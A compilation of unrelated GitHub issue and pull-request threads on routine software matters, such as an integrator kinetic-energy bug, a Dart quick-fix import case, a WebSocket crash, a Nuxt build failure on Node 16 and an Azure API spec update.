For alanine dipeptide with bonds to hydrogen constrained, the mean is about -10 kJ/mol.
There are 12 bonds to hydrogen constrained, so on average, this is a loss of kinetic energy of roughly 12 * (kT/2) = 12 * (0.6 kcal/mol)/2 * (4.184 kJ/kcal) = 15 kJ/mol.
So we're roughly in the ballpark of each trajectory losing an amount of kinetic energy equal to constraining those bonds to hydrogen.
My current belief is that this is due to a failure to constrain the velocities before measuring the initial kinetic energies, which would affect the shadow work for integrators that begin with either a V or R step (but not O step, where it will only affect the heat).
The way the baoab_vs_vvvr.py experiments work now is to:

(1) Draw a position sample from equilibrium
(2) Assign velocities from the Maxwell-Boltzmann distribution without removing the components of velocities along constrained bonds
(3) The first step in BAOAB is a V step, which measures the kinetic energy without first constraining the velocities. The velocities are then constrained at the end of the V step, and the kinetic energy is measured again. Unsurprisingly, we lose an amount of energy equal to the bond constraint velocity components.

We have to fix either (or both) of (2) and (3).
For constrained systems, we should be removing the component of the velocity along the constrained bonds.
For safety, however, if we want to ensure our integrators always work, we may want to constrain the velocities at the beginning of each step where we measure the kinetic energy change.
We can't guarantee that the user will do this otherwise.
This comes with some overhead, so we could alternatively just constrain the positions and velocities on the first step using an idiom like this:
https://github.com/choderalab/perses/blob/master/perses/annihilation/ncmc_switching.py#L1227-L1242
            self.beginIfBlock('step = 0')
            # Constrain initial positions and velocities
            self.addConstrainPositions()
            self.addConstrainVelocities()
            # End block
            self.endBlock()

This was fixed in #3 by a06e6c54137088b2c11553593e2613daeef0a696 (but also a11431b2b8ecc073e809fd3f1229bc9571217854 for safety).


docs(Card): add component descriptions

Current coverage is 95.14% (diff: 100%)

Merging #429 into master will decrease coverage by <.01%

@@             master       #429   diff @@
==========================================
  Files            91         91
  Lines          1177       1175     -2
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
- Hits           1120       1118     -2
  Misses           57         57
  Partials          0          0

Powered by Codecov. Last update 11e2514...614fb6e


Add BFS

Have you read the Contributing Guidelines on Pull Requests?
Yes
(Write your answer here.)
Description
Added Graph traversal algorithm of Breadth-First Search in C.
(Write your answer here.)
Checklist

[x] I've read the contribution guidelines.
[x] I've checked the issue list before deciding what to submit.
[x] I've edited the README.md and link to my code.

Related Issues or Pull Requests
#1725
(Write your answer here.)

@srimani-programmer. Kindly review this

@srimani-programmer. Kindly review this

I have created another PR.I am closing this
Pr no: #1913

I have created another PR.I am closing this
Pr no: #1913


Add Rancher Desktop icon for Windows

The Rancher Desktop icon does not appear in the title bar or on the task bar in Windows, it still defaults to the Electon app default.
The Rancher Desktop icon should be updated in the title bar and on the Windows task bar.

This may have been fixed since; with a build off main, I have:

Note that this is from the installer; it's expected that the icons would be wrong when running under npm run dev.


Why does this not work with tile entities

Caused by some silly WorldEdit bug where the BlockMap can have both blocks with and without NBT under the same key/location simultaneously. Fixed in https://github.com/emilyy-dev/wets/commit/29698d67b355780f632ca9f6fb7882f7a23f336f


upgrade nx-remotecache-custom to 4.2.1

Bump @NiklasPor

Bump @NiklasPor

Bump @NiklasPor

@NiklasPor is it possible to cut a release with this change? 4.2.1 says it contained this unexpected end of file fix but that is only included in the dependency upgrade from this PR.

You actually don't need a release for that, the dependency from nx-remotecache-azure is prefixed with ^, so it should automatically use it if you freshly resolve the dependency in your repository (that's how I tested that this is working at all). Depending on your package manager you might need to remove the lock file, or even the node_modules.
But yes, I can also create a new release.

You actually don't need a release for that, the dependency from nx-remotecache-azure is prefixed with ^, so it should automatically use it if you freshly resolve the dependency in your repository (that's how I tested that this is working at all). Depending on your package manager you might need to remove the lock file, or even the node_modules.
But yes, I can also create a new release.

You're right. My lockfile is likely preventing those changes!


tweak doc to use 1.0.0

Update to the README to use the correct version during spring install

from line 1 of that file
// Do not edit this file (e.g. go instead to src/main/asciidoc)
The source file has the snapshot, so this file just needs to be regenerated.


Create config.lua

Add New Configs for server side events that i will add.

Please make sure to add everything in one (1) pull request, i will not merge 50 pull requests with different changes.

stale pr


Quick fix 'Create missing override' importing implementation files.

file_1.dart
import 'package:other/file_where_type_r_is_exported.dart';

abstract class T {
  void f(PkgExportedR r);
}

file_2.dart
class ImplT extends T {
//    ~~~~~
//    Missing concrete implementation of 'T.f'.
//    - Quick fix: Create missing overrides
}

Applying the suggested quick fix results in:
// file_2.dart

import 'package:other/src/file_where_type_r_is_declared.dart';
//                   ~~~~~

class ImplT extends T {
  @override
  void f(PkgExportedR r) { }
}

> dart --version
Dart SDK version: 3.0.7 (stable) (Mon Jul 24 13:17:56 2023 +0000) on "linux_x64"

> code --list-extensions --show-versions | grep dart-code
<EMAIL_ADDRESS>

CC @bwilkerson an interesting library-canonicalization case.

Curious as to how this could be solved. How would Dart choose the file to import the members from? How would it pick between flutter/material.dart, flutter/cupertino.dart, and flutter/widgets.dart, for example.

Dartdoc has heuristic code. I think if the element is declared in package:x/src/foo.dart, it will prefer package:x/foo.dart over package:x/bar.dart. It also prefers libraries that are not deprecated.

Duplicate of #52711 .


Add missing examples for the examples page on the docs

@kurenn examples in furatto page seem good enough. Are we waiting for more?

Let's close this one, as we are working on the version 4 for now.


Update CLI install instructions to use unsafe-perm

This is required to be able to download and install native modules as part of the install process (otherwise the download process doesn't have permissions to write to the install directory).
Change-Type: patch

@shaunmulligan I have no idea how deployment for this works. Any idea?

@pimterry It's the same as the docs site, merge master into production and it automatically deploys. I can merge it for you if you'd like.

Oh, ok, that makes sense. I've now merged this to production. Thanks @zwalchuk!


Added tests for Separations retirement behavior

Tests that separations stops requesting material to prepare for retirement, then discharges all of the remaining material.

Looks like you forgot to add the new tests.cc file

Oops!  Accidentally 'added' separations.cc instead of _tests. It's here now.

I rebased and merged this - see fee222d


Questions about the hard prompt and soft prompt in your code

Hi,
I'm sorry,but limited by my code level, I still don't know how to apply prompts like those in your paper to your code.
In your code, for example,in the task of code summarization, there is a hard prompt Generate comments for [𝐿𝐴𝑁𝐺] [𝑋] [𝑍]. I don't know how to apply it in code. The same goes for soft prompts.
From what I understand, I'm guessing it has to do with this line of code.
   promptTemplate = SoftTemplate(model=plm, tokenizer=tokenizer,
                                  text='Code: {"placeholder":"text_a"} Summarization: {"mask"} ',
                                  initialize_from_vocab=True,
                                  num_tokens=50)

For the parameter text, the value Code: {"placeholder":"text_a"} Summarization: {"mask"}  seems to be different from the value in your paper

The template in the code is not the ones used in the paper. I did some additional experiments and forgot to modify back :(

Are you willing to modify it on GitHub? Your work attracts many researchers. It seems that they also met this problem  :)

The issue #8 is the same problem.

Thanks for your advice and your interest in our work! The template is very easy to modify and experiment, thus I do not check the code carefully. In addition, for generation tasks, the natural language tokens in the template will affect the performance slightly. I will modify the template later.


[CRASH]  WebSocket.swift

Version 3.0.6
We are receiving a fatal crash in WebSocket.swift line 151 via Crashlytics
The following are being forced unwrapped:
        inputStream = readStream!.takeRetainedValue()
        outputStream = writeStream!.takeRetainedValue()

I am now safely unwrapping these items and everything appears to be working as expected.
        inputStream = readStream?.takeRetainedValue()
        outputStream = writeStream?.takeRetainedValue()

Possibly related to https://github.com/daltoniam/Starscream/pull/651

The stream code has been refactor for version 4.0.0 which should help with issues like this. If you are still seeing a similar crash please reopen this issue. Thanks!


Nuxt 3.9 doesn't build with node 16!

Describe the bug

A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:
On latest Nuxt 3.9, node 16 doesn't seem to be building ssr website anymore. Get error that needs node 18.
Have added to my script to set node 18 after GitHub checkout before azure deployment, however still uses 16 and thus Nuxt 3 won't build anymore!
 Please use @formatjs/icu-messageformat-parser
2024-01-08T06:51:13.7957956Z npm WARN deprecated<EMAIL_ADDRESS>This is a stub types definition. wrap-ansi provides its own type definitions, so you do not need this installed.
2024-01-08T06:51:25.6347213Z
2024-01-08T06:51:25.6348202Z > postinstall
2024-01-08T06:51:25.6349605Z > nuxt prepare
2024-01-08T06:51:25.6350191Z
2024-01-08T06:51:25.8675405Z [warn] Current version of Node.js (16.20.2) is unsupported and might cause issues.
2024-01-08T06:51:25.8677446Z        Please upgrade to a compatible version >= 18.0.0.
2024-01-08T06:

Hi,
Thanks. Did that and it built.
Maybe should the default, could it be you updated it already in the last
few days?
Thanks
On Fri, 12 Jan 2024 at 18:12, Thomas Gauvin @.***>
wrote:

Hi moshetanzer, have you configured your package.json to indicate the
engines of Node 18? I've tried to reproduce the issue but I was able to get
builds with Node 18/20 by specifying this line in the package.json
https://github.com/thomasgauvin/sample-nuxt-on-swa/blob/34ed5fcb5e3909abeca7a778857fb70c561c854d/package.json#L17
This is as documented here:
https://learn.microsoft.com/en-us/azure/static-web-apps/languages-runtimes#front-end
Let us know if this helps!
—
Reply to this email directly, view it on GitHub
https://github.com/Azure/static-web-apps/issues/1386#issuecomment-1889579461,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ATTEVLJM5URGANQ4E2S3KMLYOFOHZAVCNFSM6AAAAABBRCHIOOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQOBZGU3TSNBWGE
.
You are receiving this because you authored the thread.Message ID:
@.***>

Excellent, happy to hear that this resolved your issue Thanks for the recommendation, we'll look into updating our defaults when it makes sense across the frameworks we support.


(maint) Deprecate safe_level of ERB.new in Ruby 2.6

The interface of ERB.new will change from Ruby 2.6.

Add :trim_mode and :eoutvar keyword arguments to ERB.new.
Now non-keyword arguments other than first one are softly deprecated
and will be removed when Ruby 2.5 becomes EOL. [Feature #14256]

https://github.com/ruby/ruby/blob/2311087/NEWS#stdlib-updates-outstanding-ones-only

Can one of the admins verify this patch?

Waiting for CLA signature by @koic
@koic - We require a Contributor License Agreement (CLA) for people who contribute to Puppet, but we have an easy click-through license with instructions, which is available at https://cla.puppet.com/
Note: if your contribution is trivial and you think it may be exempt from the CLA, please post a short reply to this comment with details. http://docs.puppet.com/community/trivial_patch_exemption.html

CLA signed by all contributors.


bug: 'temperature module gen2' not recognized via Jupyter interface

Overview
I have a python protocol, and I am trying to troubleshoot a few steps using the Jupyter interface. The protocol works fine when run via the Opentrons app, but causes an error related to not being able to find the temperature module when I run it via the Jupyter interface.

Steps to reproduce
import opentrons.execute
from opentrons import protocol_api, simulate, types
protocol = opentrons.execute.get_protocol_api('2.11')
temp_module = protocol.load_module('temperature module gen2', '7')
temp_module.set_temperature(4)

Current behavior
Error message

Expected behavior
A protocol that runs via the Opentrons app interface should also run via the Jupyter interface.

Unable to reproduce on latest version of the software


Updated agfood.json for privatelinks

ARM API Information (Control Plane)
MSFT employees can try out our new experience at OpenAPI Hub  - one location for using our validation tools and finding your workflow.

Azure 1st Party Service can try out the Shift Left experience to initiate API design review from ADO code repo.  If you are interested, may request engineering support by filling in with the form https://aka.ms/ShiftLeftSupportForm.
Changelog
Add a changelog entry for this PR by answering the following questions:

What's the purpose of the update?

[ ] new service onboarding
[ ] new API version
[ ] update existing version for new feature
[x] update existing version to fix swagger quality issue in s360
[ ] Other, please clarify

When are you targeting to deploy the new service/feature to public regions? Please provide the date or, if the date is not yet available, the month.
Nov 2022
When do you expect to publish the swagger? Please provide date or, the the date is not yet available, the month.
Nov 2022
By default, Azure SDKs of all languages (.NET/Python/Java/JavaScript for both management-plane SDK and data-plane SDK, Go for management-plane SDK only ) MUST be refreshed with/after swagger of new version is published. If you prefer NOT to refresh any specific SDK language upon swagger updates in the current PR, please leave details with justification here.

Contribution checklist (MS Employees Only):

[x] I commit to follow the Breaking Change Policy of "no breaking changes"
[x] I have reviewed the documentation for the workflow.
[x] Validation tools were run on swagger spec(s) and errors have all been fixed in this PR. How to fix?

If any further question about AME onboarding or validation tools, please view the FAQ.
ARM API Review Checklist

Applicability: :warning:
If your changes encompass only the following scenarios, you should SKIP this section, as these scenarios do not require ARM review.

Change to data plane APIs
Adding new properties
All removals

Otherwise your PR may be subject to ARM review requirements. Complete the following:

[ ] Check this box if any of the following apply to the PR so that the label "ARMReview" and "WaitForARMFeedback" will be added by bot to kick off ARM API Review.  Missing to check this box in the following scenario may result in delays to the ARM manifest review and deployment.

Adding a new service
Adding new API(s)
Adding a new API version

[x] To review changes efficiently, ensure you copy the existing version into the new directory structure for first commit and then push new changes, including version updates, in separate commits. You can use OpenAPIHub to initialize the PR for adding a new version. For more details refer to the wiki.

[x] Ensure you've reviewed following guidelines including ARM resource provider contract and REST guidelines. Estimated time (4 hours). This is required before you can request review from ARM API Review board.

[x] If you are blocked on ARM review and want to get the PR merged with urgency, please get the ARM oncall for reviews (RP Manifest Approvers team under Azure Resource Manager service) from IcM and reach out to them.

Breaking Change Review Checklist
If you have any breaking changes as defined in the Breaking Change Policy, request approval from the Breaking Change Review Board.
Action: to initiate an evaluation of the breaking change, create a new intake using the template for breaking changes. Additional details on the process and office hours are on the Breaking Change Wiki.
NOTE: To update API(s) in public preview for over 1 year (refer to Retirement of Previews)
Please follow the link to find more details on PR review process.

Marked as Approved-BreakingChange because this change is allowed prior to public preview.

Words from GO SDK owner. @ArcturusZhang
For go sdk generation failure:
It is a duplicated schema issue. We should never use both different versions of common-types together in one swagger (even in the same swagger tag).
If you want to use something in v4 (or upgrade to v4), they should do it thoroughly in the whole RP
like 1


Failing Tests

Hi,
I tried executing tests in the test folder and most of them fail assertions, is there any plans to fix them?

Save problem.
I run the BoxIoU_test.lua, 3 out of 7 cases failed. If this cases could not pass, how can you make the code run successfully?


v1.1.0

New Features

Renewal in layout structure
Font Face Observer
Specify profile/favicon image path in _config.yml
jekyll-seo
jekyll-sitemap
google analytics
License

Minor Updates

Unify the fonts of elements
Slide out animation for toc-list
Update site variables in _config.yml

Bug Fixes

Theme change button not toggled
Not found image is too big

Guys, Well done to all of you. It was a hard week, but rewarding too.


Change submodule validates

I have been reusing parts from the vdblab-shotgun in my new snakemake pipeline using the module import capacity.  Unfortunately one downside of having the validate calls in the individual .smk files is that it enforces all the requirements of the config.schema.yaml file from vdblab-shotgun onto whatever snakefile is trying to use it!  By removing these valideas and setting skip_validate to True (thanks Nick!) I am able to get around these requirements.
Personally I really like that these are very modular components, I think that this requirement for validation within these sub components makes them less reusable.  Open to another way to solve this problem as well, for now just putting this here as a means to start the conversation.
Cheers!

Whoops!  The lint tests are keeping me honest.

Sorry about all the snakefmt issues -- those are all my fault!

Looks good to me! Thanks for doing this.

Alright, cheers - will merge for now then.  Happy to return to this at a future point if it makes sense though regarding larger design choices about how to control modularity with this pipeline.


Create navbar and footer templates, Refactor the navbar contents and styling

The pom.xml does not reflect the changes..., closing because yes


operator: add service account issuers to KAS status

According to the Kubernetes documentation, starting from Kubernetes 1.22, the service-account-issuer flag can be specified multiple times. The first value is then used to generate new tokens and other values are accepted. Using this field can prevent cluster disruptions and allows for smoother reconfiguration of this field.
see: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#service-account-token-volume-projection
The status field will allow us to keep track of "used" service account issuers and also expire/prune them.
this is a replacement for: https://github.com/openshift/api/pull/1309
xref: https://issues.redhat.com/browse/AUTH-309

/assign @stlaz

LGTM

/lgtm

/label cherry-pick-approved

/label qe-approved

/label docs-approved
/label px-approved

documentation team had been contacted and there will be need to update product documentation once the change is implemented.

/refresh

/cherrypick release-4.11


Allow to commit new files

Update src endpoint to receive files to add to the commit.
Resolves #10

Sorry to see you close this. I've not got around to reviewing it yet, but would love to soon.

This just was closed as I deleted the branch in my repository.
Can re-open this of course ;) In the meantime I've published https://packagist.org/packages/codappix/bitbucket-client as a fork, which will be abandoned in favour of your repository once the features are merged.
Please do not merge them without reviewing them. Even if they work, I'm not sure about the implementation and architecture.